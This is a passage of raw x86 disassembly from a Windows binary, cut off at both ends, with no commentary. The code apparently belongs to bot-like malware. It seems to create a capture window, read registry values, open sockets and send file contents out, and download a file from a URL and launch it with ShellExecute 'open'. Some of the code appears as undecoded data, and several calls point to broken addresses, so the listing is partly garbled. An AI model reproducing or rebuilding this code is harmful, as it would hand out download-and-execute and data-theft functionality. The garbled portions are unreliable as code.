mov edi, 42Dh jz short loc_41575A push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB680 loc_41575A: ; CODE XREF: sub_4155F7+153j push [ebp+var_4] call dword_4CB5C4 test eax, eax jz short loc_415777 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CB680 loc_415777: ; CODE XREF: sub_4155F7+16Ej push [ebp+var_4] call dword_4CB5C4 test eax, eax jz short loc_415796 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CB680 loc_415796: ; CODE XREF: sub_4155F7+18Bj push [ebp+var_4] call dword_4CB5C4 test eax, eax jz short loc_4157B3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB680 loc_4157B3: ; CODE XREF: sub_4155F7+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CB5C4 test eax, eax jz short loc_4157E0 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CB680 loc_4157E0: ; CODE XREF: sub_4155F7+63j ; sub_4155F7+D0j ... push [ebp+var_4] call dword_4CB6D4 mov eax, ebx loc_4157EB: ; CODE XREF: sub_4155F7+39j pop edi pop esi pop ebx leave retn sub_4155F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D3250 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CB574 mov edi, eax cmp edi, ebx jnz short loc_41582E mov eax, esi jmp loc_415A2A ; --------------------------------------------------------------------------- loc_41582E: ; CODE XREF: sub_4157F0+35j push edi call dword_4CB5C4 test eax, eax jz short loc_41584B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB680 jmp short loc_41584D ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_4157F0+47j xor eax, eax loc_41584D: ; CODE XREF: sub_4157F0+59j cmp eax, ebx jnz short loc_415858 loc_415851: ; CODE XREF: sub_4157F0+8Bj ; sub_4157F0+BCj mov ebx, esi jmp loc_415A21 ; --------------------------------------------------------------------------- loc_415858: ; CODE XREF: sub_4157F0+5Fj push edi call dword_4CB5C4 test eax, eax jz short loc_415878 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CB680 loc_415878: ; CODE XREF: sub_4157F0+71j cmp [ebp+var_7C], ebx jz short loc_415851 push edi call dword_4CB5C4 test eax, eax jz short loc_41589B push ebx push ebx push 42Ch push edi call dword_4CB680 mov [ebp+arg_4], eax jmp short loc_41589E ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4157F0+96j mov [ebp+arg_4], ebx loc_41589E: ; CODE XREF: sub_4157F0+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415851 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C5 push 1 pop ebx jmp loc_415A21 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_4157F0+CBj push edi call dword_4CB5C4 test eax, eax jz short loc_4158E2 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CB680 loc_4158E2: ; CODE XREF: sub_4157F0+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FD mov ecx, 0A0h loc_4158FD: ; CODE XREF: sub_4157F0+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415907 push 78h pop eax loc_415907: ; CODE XREF: sub_4157F0+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CB5C4 test eax, eax jz short loc_41594C push esi push [ebp+arg_4] push 42Dh push edi call dword_4CB680 loc_41594C: ; CODE XREF: sub_4157F0+14Aj push edi call dword_4CB5C4 test eax, eax jz short loc_415969 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CB680 loc_415969: ; CODE XREF: sub_4157F0+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CB5C4 test eax, eax jz short loc_4159A7 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CB680 loc_4159A7: ; CODE XREF: sub_4157F0+1A3j push edi call dword_4CB5C4 test eax, eax jz short loc_4159C2 push [ebp+arg_0] push ebx push 414h push edi call dword_4CB680 loc_4159C2: ; CODE XREF: sub_4157F0+1C0j push edi call dword_4CB5C4 test eax, eax jz short loc_4159DB push ebx push ebx push 43Eh push edi call dword_4CB680 loc_4159DB: ; CODE XREF: sub_4157F0+1DBj push edi call dword_4CB5C4 test eax, eax jz short loc_4159F8 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CB680 loc_4159F8: ; CODE XREF: sub_4157F0+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CB5C4 test eax, eax jz short loc_415A21 push ebx push ebx push 40Bh push edi call dword_4CB680 loc_415A21: ; CODE XREF: sub_4157F0+63j ; sub_4157F0+D0j ... push edi call dword_4CB6D4 mov eax, ebx loc_415A2A: ; CODE XREF: sub_4157F0+39j pop edi pop esi pop ebx leave retn sub_4157F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_4368B4, ebx mov [ebp+var_C], 80h jz loc_415BD0 push esi push edi mov eax, offset off_4368B4 mov esi, offset dword_4368C0 mov edi, offset dword_437AB8 loc_415A5F: ; CODE XREF: sub_415A2F+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CB694 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CB524 test eax, eax jnz loc_415BB6 mov eax, [esi] cmp eax, ebx jz loc_415B7A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_429A8C push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB6 push eax loc_415AD8: ; CODE XREF: sub_415A2F+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B6F push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B05 push [ebp+var_8] jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B05: ; CODE XREF: sub_415A2F+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B33 lea eax, [ebp+var_70] push offset asc_437AB4 ; "=" push eax call sub_41C0F4 push offset asc_437AB4 ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415A2F+E4j lea eax, [ebp+var_70] loc_415B36: ; CODE XREF: sub_415A2F+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 18h loc_415B6F: ; CODE XREF: sub_415A2F+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B7A: ; CODE XREF: sub_415A2F+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 28h loc_415BB6: ; CODE XREF: sub_415A2F+60j ; sub_415A2F+A2j ... push [ebp+var_4] call dword_4CB600 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A5F pop edi pop esi loc_415BD0: ; CODE XREF: sub_415A2F+19j pop ebx leave retn sub_415A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD3 proc near ; CODE XREF: ___:00416278p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB6A4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C4F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB624 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CB664 cmp eax, esi jnz short loc_415C34 push [ebp+arg_0] call dword_4CB6A8 test eax, eax jz short loc_415C4F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C34: ; CODE XREF: sub_415BD3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB5CC cmp eax, esi jnz short loc_415C53 push edi call dword_4CB6BC loc_415C4F: ; CODE XREF: sub_415BD3+1Bj ; sub_415BD3+58j mov eax, esi jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C53: ; CODE XREF: sub_415BD3+73j mov eax, edi loc_415C55: ; CODE XREF: sub_415BD3+7Ej pop edi pop esi leave retn sub_415BD3 endp ; --------------------------------------------------------------------------- byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h dd 858D5275h, 0FFFFEE4Ch, 437B3468h, 0DBE85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h dd 22CAD75h, 43D7D868h, 6DE85300h, 5900003Fh, 59FFF883h dd 858D5975h, 0FFFFEE4Ch, 437B0468h, 77E85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h dd 6DE850FFh, 59FFFFF4h, 0BC15FF53h, 0FF004CB6h, 0C3E8F075h dd 59FFFF56h, 0AD0BE856h, 6A90022Ch, 0A1E89064h, 330226A2h dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 3C15FF53h, 85004CB6h dd 8D387EC0h, 0FFEE4C85h, 0A06868FFh, 0E8500042h, 6124h dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h dd 49E89064h, 6A0226A2h, 5580E80Ah, 0C085FFFFh, 8DA37559h dd 0FFEE4C85h, 7AD068FFh, 0E8500043h, 5AB2h, 59F87D39h dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h dd 5359FFFFh, 0B6BC15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh dd 0AC47E890h ; --------------------------------------------------------------------------- sub al, 2 loc_415E1A: ; DATA XREF: sub_401ACD+7831o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CB6A4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E68 push offset unk_437C34 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415E68: ; CODE XREF: ___:00415E5Cj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CB624 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CB650 test eax, eax jz short loc_415EA6 push offset unk_437C10 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: ___:00415E9Aj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CB5C8 push dword ptr [ebp-2Eh] call dword_4CB554 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED8: ; CODE XREF: ___:00415F09j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEB push 5Fh pop eax jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415EEB: ; CODE XREF: ___:00415EE4j movsx eax, al loc_415EEE: ; CODE XREF: ___:00415EE9j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED8 push ebx push edi call dword_4CB64C test eax, eax jz short loc_415F21 push offset unk_437B34 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: ___:00415F15j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 271091Eh cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4B push offset unk_437BF0 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: ___:00415F3Fj push esi push eax nop call near ptr 2750C23h mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC0F pop ecx push eax call dword_4CB664 push eax call dword_4CB620 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437BD8 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CB60C test eax, eax jg short loc_415FFB push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437BC0 push eax push dword ptr [ebp-1FCh] call sub_409A72 jmp loc_41611F ; --------------------------------------------------------------------------- loc_415FFB: ; CODE XREF: ___:00415FD9j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB6B8 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416034 push offset unk_437B9C loc_416021: ; CODE XREF: ___:00415E63j ; ___:00415EA1j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416122 ; --------------------------------------------------------------------------- loc_416034: ; CODE XREF: ___:0041601Aj push edi call dword_4CB6BC cmp [ebp+8], esi jz loc_4160E6 mov edi, 400h loc_416049: ; CODE XREF: ___:004160DDj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416056 mov [ebp-4], eax loc_416056: ; CODE XREF: ___:00416051j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 2780000h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 2710000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CB674 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CB63C cmp eax, ebx jl loc_41617B mov eax, [ebp-4] cmp eax, ebx jl loc_41617B sub [ebp+8], eax jnz loc_416049 mov edi, [ebp-18h] loc_4160E6: ; CODE XREF: ___:0041603Ej push dword ptr [ebp-8] nop call near ptr 2660843h push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416922 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB6B0 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_437B70 push eax call sub_41B886 loc_41611F: ; CODE XREF: ___:00415FF6j add esp, 14h loc_416122: ; CODE XREF: ___:0041602Fj cmp [ebp-50h], esi jnz short loc_416147 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 14h loc_416147: ; CODE XREF: ___:00416125j lea eax, [ebp-3FCh] push eax call sub_4151AC cmp edi, esi pop ecx jbe short loc_41615F push edi call dword_4CB6BC loc_41615F: ; CODE XREF: ___:00416156j push dword ptr [ebp-1F8h] call dword_4CB6BC push dword ptr [ebp-58h] call sub_40B412 pop ecx push esi call near ptr 26E0A61h nop loc_41617B: ; CODE XREF: ___:004160C9j ; ___:004160D4j push esi mov esi, offset dword_437B58 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A72 push esi call sub_4151AC add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB6BC push dword ptr [ebp-58h] call sub_40B412 pop ecx push ebx nop call near ptr 26E0A61h loc_4161BC: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 2670B96h lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_429A94 push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call near ptr 271091Eh nop cmp eax, 0FFFFFFFFh jnz short loc_416246 push offset unk_437CD4 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416246: ; CODE XREF: ___:0041623Dj push eax nop call near ptr 2660843h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626E push offset unk_437CA4 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_41626E: ; CODE XREF: ___:00416265j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_41629F push offset unk_437C84 loc_41628C: ; CODE XREF: ___:00416244j ; ___:0041626Cj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639B ; --------------------------------------------------------------------------- loc_41629F: ; CODE XREF: ___:00416285j mov esi, 1000h loc_4162A4: ; CODE XREF: ___:0041630Aj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CB63C mov edi, eax cmp edi, ebx jz loc_41636B cmp edi, 0FFFFFFFFh jz short loc_41630C push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CB620 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CB674 jmp short loc_4162A4 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: ___:004162D4j lea eax, [ebp-4C4h] push offset dword_437B58 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 lea eax, [ebp-4C4h] push eax call sub_4151AC push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB6BC push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push 1 nop call near ptr 26E0A61h loc_41636B: ; CODE XREF: ___:004162CBj mov eax, [ebp-8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_437C58 push eax call sub_41B886 add esp, 14h loc_41639B: ; CODE XREF: ___:0041629Aj cmp [ebp-14h], ebx jnz short loc_4163C0 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 add esp, 14h loc_4163C0: ; CODE XREF: ___:0041639Ej lea eax, [ebp-4C4h] push eax call sub_4151AC cmp [ebp-4], ebx pop ecx jz short loc_4163DB push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DB: ; CODE XREF: ___:004163D0j cmp [ebp+8], ebx jbe short loc_4163E9 push dword ptr [ebp+8] call dword_4CB6BC loc_4163E9: ; CODE XREF: ___:004163DEj push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push ebx nop call near ptr 26E0A61h loc_4163F9: ; DATA XREF: sub_401ACD+6279o ; sub_401ACD+6AB9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CB5D4 call dword_4CB528 cmp eax, esi mov [ebp-18h], eax jz loc_416885 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 271091Eh cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C0 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_437EA0 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A3 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4164A3: ; CODE XREF: ___:00416481j lea eax, [ebp-510h] push eax call sub_4151AC push dword ptr [ebp-48h] call sub_40B412 pop ecx pop ecx push esi call near ptr 26E0A61h nop loc_4164C0: ; CODE XREF: ___:00416461j xor edi, edi nop call near ptr 26905CDh mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DA: ; CODE XREF: ___:004165ADj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CB530 cmp [ebp-34h], esi jz short loc_41651E push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EB pop ecx pop ecx loc_41651E: ; CODE XREF: ___:0041650Bj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 2700000h cmp edi, ebx jnb short loc_41655C mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416546 mov eax, [ebp+8] loc_416546: ; CODE XREF: ___:00416541j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655C: ; CODE XREF: ___:00416538j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416569 cmp edi, [ebp-3Ch] ja short loc_4165B3 loc_416569: ; CODE XREF: ___:00416562j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416583 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437E78 jmp short loc_416593 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: ___:0041656Fj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437E50 loc_416593: ; CODE XREF: ___:00416581j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43E360 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DA loc_4165B3: ; CODE XREF: ___:00416567j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416608 cmp edi, [ebp-3Ch] jz short loc_416608 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_437E24 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416608: ; CODE XREF: ___:004165BDj ; ___:004165C2j nop call near ptr 26905CDh sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call near ptr 2660843h nop push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416692 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416692 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_437DFC push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416692: ; CODE XREF: ___:0041663Aj ; ___:0041664Cj cmp [ebp-14h], esi jz loc_4168D2 cmp dword ptr [ebp-44h], 1 jz loc_41678D mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_437DC4 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670D push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_41670D: ; CODE XREF: ___:004166EBj lea eax, [ebp-510h] push eax call sub_4151AC cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D2 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CB590 cmp [ebp-30h], esi jnz loc_4168D2 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_437DA8 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 24h jmp loc_4168D2 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: ___:0041669Fj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_437D64 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4167F5: ; CODE XREF: ___:004167D3j lea eax, [ebp-510h] push eax call sub_4151AC push 10h lea eax, [ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, 